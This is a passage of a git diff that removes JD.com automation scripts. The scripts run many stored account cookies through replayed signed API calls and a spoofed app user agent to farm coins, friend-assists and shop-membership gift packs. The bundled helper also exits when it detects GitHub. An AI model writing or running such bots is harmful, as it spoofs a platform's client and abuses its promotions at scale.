cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.shareCode = await makeShareCode(); - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - message = ''; - subTitle = ''; - option = {}; - await getIsvToken(); - await getIsvToken2(); - await getToken(); - - let r = await get_produce_coins(); - if (r !== 200) - continue - - await $.wait(2000); - await main(); - await $.wait(3000) - } - } - if ($.isNode() && allMessage && $.ctrTemp) { - await notify.sendNotify(`${$.name}`, `${allMessage}`) - } -})() - -async function main() { - tasks = await detail(); - for (let i = 0; i < tasks.length; i++) { - let product_info_vos = [] - let task_vos = tasks[i] - switch (task_vos.task_name) { - case '连签得金币': - if (task_vos.status === '1') - await do_task(task_vos.simple_record_info_vo.task_token, task_vos.task_id, task_vos.task_type) - continue - case '邀请好友助力': - await getShareCode(task_vos.assist_task_detail_vo.task_token) - await $.wait(2000) - - await getAssist() - await $.wait(2000) - - console.log(`第${$.index}个账号${$.UserName}去助力第${Math.floor(($.index - 1) / 6) + 1}个账号。`) - await doAssist() - continue - case '去浏览精彩会场': case '去关注特色频道' : - product_info_vos = task_vos['shopping_activity_vos'] - break - case '去关注优质好店': - product_info_vos = task_vos['follow_shop_vo'] - break - default: - "" - } - let taskId = task_vos.task_id, taskType = task_vos.task_type; - for (let t of product_info_vos) { - if (t.status === '1') { - console.log(`开始任务:${task_vos.task_name}`) - let res = await do_task(t.task_token, taskId, taskType) - await $.wait(1000) - } - } - } -} - -function getShareCode(token) { - return new Promise(resolve => { - $.get({ - url: 'https://xinruidddj-isv.isvjcloud.com/api/uc/user', - headers: { - 'Host': 'xinruidddj-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Accept': 'application/json, text/plain, */*', - 'Authorization': `Bearer ${$.token}`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - } - }, (err, resp, data) => { - try { - data = $.toObj(data) - shareCodes.push({ - 'tid': token, - 'uid': data.body.openid - }) - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${shareCodes[$.index - 1].uid}\n`); - - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function doAssist() { - return new Promise(resolve => { - $.post({ - url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_assist_task', - headers: { - 'Host': 'xinruidddj-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Accept': 'application/json, text/plain, */*', - 'Authorization': `Bearer ${$.token}`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - }, - body: `token=${shareCodes[Math.floor(($.index - 1) / 6)].tid}&inviter=${Math.floor(($.index - 1) / 6).uid}` - }, (err, resp, data) => { - try { - data = $.toObj(data) - if (data.status === '0') { - console.log('助力成功') - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getAssist() { - return new Promise(resolve => { - $.get({ - url: 'https://xinruidddj-isv.isvjcloud.com/api/task/today_assist?task_id=2&need_num=10', - headers: { - 'Host': 'xinruidddj-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Accept': 'application/json, text/plain, */*', - 'Authorization': `Bearer ${$.token}`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language': 'zh-cn', - } - }, (err, resp, data) => { - try { - data = $.toObj(data) - console.log(`今日共收到${data.body.length}个助力`) - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getIsvToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=genToken&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934987178&sign=0877498be29cda51b9628fa0195f412f&sv=111', - body: `body=${escape('{"action":"to","to":"https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F3KSjXqQabiTuD1cJ28QskrpWoBKT%2Findex.html%3FbabelChannel%3D45%26collectionId%3D519"}')}`, - headers: { - 'Host': 'api.m.jd.com', - 'charset': 'UTF-8', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'cache-control': 'no-cache', - 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', - 'cookie': cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`); - console.log(`${JSON.stringify(err)}`) - } else { - data = JSON.parse(data); - $.isvToken = data['tokenKey']; - console.log(`isvToken:${$.isvToken}`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getIsvToken2() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.2&client=android&uuid=818aa057737ba6a4&st=1623934998790&sign=e571148c8dfb456a1795d249c6aa3956&sv=100', - body: `body=${escape('{"id":"","url":"https://xinruidddj-isv.isvjcloud.com"}')}`, - headers: { - 'Host': 'api.m.jd.com', - 'charset': 'UTF-8', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'cache-control': 'no-cache', - 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', - 'cookie': cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token2 = data['token'] - console.log(`token2:${$.token2}`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function getToken() { - let config = { - url: 'https://xinruidddj-isv.isvjcloud.com/api/user/jd/auth', - body: `token=${$.token2}&source=01`, - headers: { - 'Host': 'xinruidddj-isv.isvjcloud.com', - 'Accept': 'application/json, text/plain, */*', - 'Origin': 'https://xinruidddj-isv.isvjcloud.com', - 'Authorization': 'Bearer undefined', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Sec-Fetch-Mode': 'cors', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Sec-Fetch-Site': 'same-origin', - 'Referer': 'https://xinruidddj-isv.isvjcloud.com/exception/?channel=DDLY&sid=fd5e44488241862af88cb40cbebf660w&un_area=12_904_3373_62101', - 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', - 'Cookie': `IsvToken=${$.isvToken};` - }, - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token = data.body.access_token - console.log($.token) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function detail() { - return new Promise(resolve => { - $.get({ - url: 'https://xinruidddj-isv.isvjcloud.com/api/task/detail', - headers: { - 'Host': 'xinruidddj-isv.isvjcloud.com', - 'Accept': 'application/json, text/plain, */*', - 'Authorization': `Bearer ${$.token}`, - 'Accept-Language': 'zh-cn', - 'Origin': 'https://xinruidddj-isv.isvjcloud.com', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', - } - }, (err, resp, data) => { - if (!err) { - try { - resolve(JSON.parse(data).body.task_component.task_vos) - } catch (e) { - resolve("黑号") - } finally { - resolve([]) - } - } - }) - }) -} - -function do_task(token, id, type) { - return new Promise(resolve => { - // console.log(token, id, type) - $.post({ - url: 'https://xinruidddj-isv.isvjcloud.com/api/task/do_task', - headers: { - 'Host': 'xinruidddj-isv.isvjcloud.com', - 'Accept': 'application/json, text/plain, */*', - 'Authorization': `Bearer ${$.token}`, - 'Accept-Language': 'zh-cn', - 'Origin': 'https://xinruidddj-isv.isvjcloud.com', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', - }, - body: `token=${token}&task_id=${id}&task_type=${type}` - }, (err, resp, data) => { - try { - if (!err) { - data = JSON.parse(data) - if (data.status === '0') { - let result = data.body.result - console.log(`任务成功:本次获得 ${result.acquired_score},账户总额 ${result.user_score}`) - resolve(200); - } else { - console.log('任务失败!') - resolve(502) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} - -function makeShareCode() { - return new Promise(resolve => { - $.post({ - url: 'https://api.m.jd.com/client.action?functionId=jdf_queryBothwayFriendsInfo', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'content-type': 'application/x-www-form-urlencoded', - 'referer': '', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'Cookie': cookie - }, - body: "body=%7B%7D&build=167694&client=apple&clientVersion=10.0.2&openudid=fc13275e23b2613e6aae772533ca6f349d2e0a86&sign=399128e7314f716adbf1ca9d9c205a10&st=1623850849392&sv=110" - }, (err, resp, data) => { - try { - if (!err) { - data = JSON.parse(data) - resolve(data.data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} - -function get_produce_coins() { - return new Promise(resolve => { - $.post({ - url: 'https://xinruidddj-isv.isvjcloud.com/api/club/get_produce_coins', - headers: { - 'Host': 'xinruidddj-isv.isvjcloud.com', - 'Accept': 'application/json, text/plain, */*', - 'Authorization': `Bearer ${$.token}`, - 'Accept-Language': 'zh-cn', - 'Origin': 'https://xinruidddj-isv.isvjcloud.com', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': 'https://xinruidddj-isv.isvjcloud.com/', - }, - }, (err, resp, data) => { - try { - if (!err) { - data = JSON.parse(data) - console.log("收币:", data) - if (data.status === '0') { - let coins = parseInt(data.body.coins) - console.log(`收币成功:获得 ${coins}`) - } else { - console.log('收币失败!') - resolve(500) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(200) - } - }) - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function requireConfig() { - return new Promise(resolve => { - console.log('开始获取配置文件\n') - notify = $.isNode() ? require('./sendNotify') : ''; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - resolve() - }) -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_OpenCard_Force.js b/jd_OpenCard_Force.js deleted file mode 100644 index a68c9d641..000000000 --- a/jd_OpenCard_Force.js +++ /dev/null @@ -1,287 +0,0 @@ -/* -入会开卡领取礼包(通用) - -自用,拉库请自行禁用 - -使用环境变量 VENDER_ID 提供 venderid,多个用&连接 -脚本大部分内容包括加密部分代码提取自 smiek2121 的开卡脚本 - -变量: -## 入会开卡 -//export VENDER_ID="" -## 最小入会值 (默认5) -1 1 1 1 1 1 jd_OpenCard_Force.js, tag=入会开卡领取礼包(通用), enabled=true - - -*/ - -const $ = new Env('入会开卡领取礼包'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -CryptoScripts() -$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; -var timestamp = new Date().getTime() -const VENDER_ID = process.env.VENDER_ID || ""; -const OPENCARD_BEAN = process.env.OPENCARD_BEAN || "5"; - -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -allMessage = ''; -message = ''; -!(async () => { - console.log("\n\n【由于自动运行会自动开卡,建议禁用】\n【如需使用请自行查找入会ID添加】\n\n") - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - message = ''; - $.nickName = ''; - await TotalBean(); - $.UserName = $.nickName || $.UserName; - console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await getUA() - await run(); - //if ($.openCardBean === 0 || $.openCardBean < OPENCARD_BEAN) { - //break; - //} - } - } - if(allMessage){ - $.msg($.name, ``, `${allMessage}`); - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - const joinVenderIdList = VENDER_ID.split("&"); - for (let i = 0; i < joinVenderIdList.length; i++) { - $.joinVenderId = joinVenderIdList[i]; - $.errorJoinShop = ''; - await joinShop() - if($.errorJoinShop.indexOf('活动太火爆,请稍后再试') > -1){ - console.log('第1次 重新开卡') - await $.wait(500) - await joinShop() - } - if($.errorJoinShop.indexOf('活动太火爆,请稍后再试') > -1){ - console.log('第2次 重新开卡') - await $.wait(500) - await joinShop() - } - if($.errorJoinShop.indexOf('活动太火爆,请稍后再试') > -1){ - console.log('第3次 重新开卡') - await $.wait(500) - await joinShop() - } - if($.errorJoinShop.indexOf('活动太火爆,请稍后再试') > -1){ - console.log("开卡失败❌ ,重新执行脚本") - allMessage += `【账号${$.index}】${$.UserName}开卡失败❌ ,请重新执行脚本\n` - } - } - } catch (e) { - console.log(e) - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 0 && data.base && data.base.nickname) { - $.nickName = data.base.nickname; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function joinShop() { - if(!$.joinVenderId) return - return new Promise(async resolve => { - $.shopactivityId = ''; - $.errorJoinShop = ''; - $.openCardStatus = false; // 是否已是会员 - $.openCardBean = 0; // 入会给的京豆 - await requestAlgo(); - await getshopactivityId(); - let activityId = ``; - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}`; - 